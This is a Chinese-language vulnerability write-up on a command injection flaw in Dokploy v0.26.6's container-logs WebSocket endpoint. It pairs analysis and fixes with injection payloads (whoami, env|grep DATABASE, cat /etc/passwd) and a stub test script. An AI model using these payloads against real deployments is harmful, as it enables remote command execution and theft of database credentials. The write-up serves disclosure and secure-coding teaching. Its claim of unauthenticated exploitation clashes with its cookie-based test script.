Dokploy v0.26.6 命令注入漏洞挖掘记录
字数 932
更新时间 2026-02-06 03:12:23
Dokploy v0.26.6 命令注入漏洞挖掘与分析教学文档
1. 漏洞背景
Dokploy是一个基于Docker的部署管理平台。在v0.26.6版本中,虽然修复了之前版本的命令注入漏洞,但在其他端点仍存在安全缺陷。
2. 漏洞分析
2.1 上个版本的修复措施
2.1.1 输入验证函数
文件位置: apps/dokploy/server/wss/utils.ts
新增验证函数:
// 容器ID验证函数
export const isValidContainerId = (id: string): boolean => {
const hexPattern = /^[a-f0-9]{12,64}$/i; // 十六进制ID(12-64位)
const namePattern = /^[a-zA-Z0-9][a-zA-Z0-9_.-]*$/; // 容器名称模式
return hexPattern.test(id) || (namePattern.test(id) && id.length <= 128);
};
// Shell类型验证函数
export const isValidShell = (shell: string): boolean => {
const allowedShells = ["sh", "bash", "zsh", "ash", "/bin/sh", "/bin/bash", "/bin/zsh", "/bin/ash"];
return allowedShells.includes(shell);
};
2.1.2 参数验证实现
文件位置: apps/dokploy/server/wss/docker-container-terminal.ts
// 在连接处理中添加验证
wssTerm.on("connection", async (ws, req) => {
// 验证containerId
if (!isValidContainerId(containerId)) {
ws.close(4000, "Invalid container ID format");
return;
}
// 验证shell类型
if (activeWay && !isValidShell(activeWay)) {
ws.close(4000, "Invalid shell specified");
return;
}
});
2.1.3 避免Shell解释的修复
本地场景修复:
// 修复前(存在漏洞)
const ptyProcess = spawn(shell, ["-c", `docker exec -it -w / ${containerId} ${activeWay}`], {});
// 修复后(安全)
const ptyProcess = spawn("docker", ["exec", "-it", "-w", "/", containerId, shell], {});
远程SSH场景修复:
// 修复后
const dockerCommand = ["docker", "exec", "-it", "-w", "/", containerId, shell].join(" ");
conn.exec(dockerCommand, { pty: true }, (err, stream) => { /* ... */ });
2.2 新漏洞发现
2.2.1 未修复的端点
文件位置: apps/dokploy/server/wss/docker-container-logs.ts
存在问题的代码:
wssTerm.on("connection", async (ws, req) => {
const containerId = url.searchParams.get("containerId");
const tail = url.searchParams.get("tail");
const since = url.searchParams.get("since");
// 缺少输入验证!
if (!containerId) {
ws.close(4000, "containerId no provided");
return;
}
// 命令拼接存在漏洞
const baseCommand = `docker ${runType === "swarm" ? "service" : "container"} logs --timestamps ${runType === "swarm" ? "--raw" : ""} --tail ${tail} ${since === "all" ? "" : `--since ${since}`} --follow ${containerId}`;
// 使用shell执行命令
const ptyProcess = spawn(shell, ["-c", command], {...});
});
3. 漏洞利用技术
3.1 攻击向量分析
漏洞存在于tail和since参数,这些参数没有经过验证直接拼接到命令中。
3.2 利用payload示例
3.2.1 通过tail参数注入
WebSocket URL: ws://target:3001/docker-container-logs?containerId=123&tail=10;whoami;#&since=1h
生成的命令:
docker container logs --timestamps --tail 10;whoami; # --since 1h --follow 123
3.2.2 通过since参数注入
WebSocket URL: ws://target:3001/docker-container-logs?containerId=123&tail=10&since=1h;whoami;#
生成的命令:
docker container logs --timestamps --tail 10 --since 1h;whoami; # --follow 123
3.3 实际攻击示例
3.3.1 获取环境变量
tail=10;env|grep DATABASE;#
结果: 泄露数据库连接信息
DATABASE_URL=postgresql://dokploy:dokploy123@postgres:5432/dokploy
3.3.2 执行系统命令
tail=10;cat /etc/passwd;#
since=1h;id;#
4. 漏洞验证方法
4.1 环境搭建
# docker-compose.yml
version: '3.8'
services:
dokploy:
image: dokploy/dokploy:v0.26.6
ports:
- "3001:3000"
environment:
DATABASE_URL: "postgresql://dokploy:dokploy123@postgres:5432/dokploy"
volumes:
- /var/run/docker.sock:/var/run/docker.sock
4.2 测试脚本框架
import asyncio
import websockets
from urllib.parse import quote
async def test_vulnerability(target, cookie, payload):
uri = f"ws://{target}/docker-container-logs?containerId=123&tail={quote(payload)}"
try:
async with websockets.connect(uri, additional_headers={"Cookie": cookie}) as ws:
# 处理响应
pass
except Exception as e:
print(f"Error: {e}")
5. 安全防护方案
5.1 输入验证完善
// 添加tail和since参数验证
export const isValidTail = (tail: string): boolean => {
return /^\d+$/.test(tail) && parseInt(tail) <= 1000;
};
export const isValidSince = (since: string): boolean => {
return /^(\d+[smh]|all)$/.test(since);
};
5.2 安全命令执行
// 使用参数数组而非字符串拼接
const args = [
runType === "swarm" ? "service" : "container",
"logs",
"--timestamps",
"--tail", tail,
"--follow",
containerId
];
if (runType === "swarm") {
args.splice(2, 0, "--raw");
}
if (since !== "all") {
args.push("--since", since);
}
const ptyProcess = spawn("docker", args, {});
6. 漏洞修复要点
- 全面参数验证: 所有用户输入参数都必须经过严格验证
- 避免Shell解释: 使用参数数组而非命令字符串
- 最小权限原则: 应用程序应以最小必要权限运行
- 输入白名单: 使用白名单而非黑名单进行输入验证
- 安全编码实践: 对所有外部输入保持不信任态度
7. 总结
本漏洞案例展示了即使修复了已知漏洞,也可能在其他端点存在类似问题。安全修复需要全面性,包括:
- 对所有用户输入进行验证
- 避免使用shell解释用户输入
- 实施深度防御策略
- 定期进行安全代码审查
该漏洞的CVSS评分可能达到高危级别(7.0-8.0),因为允许未经认证的远程代码执行,并可能完全控制受影响系统。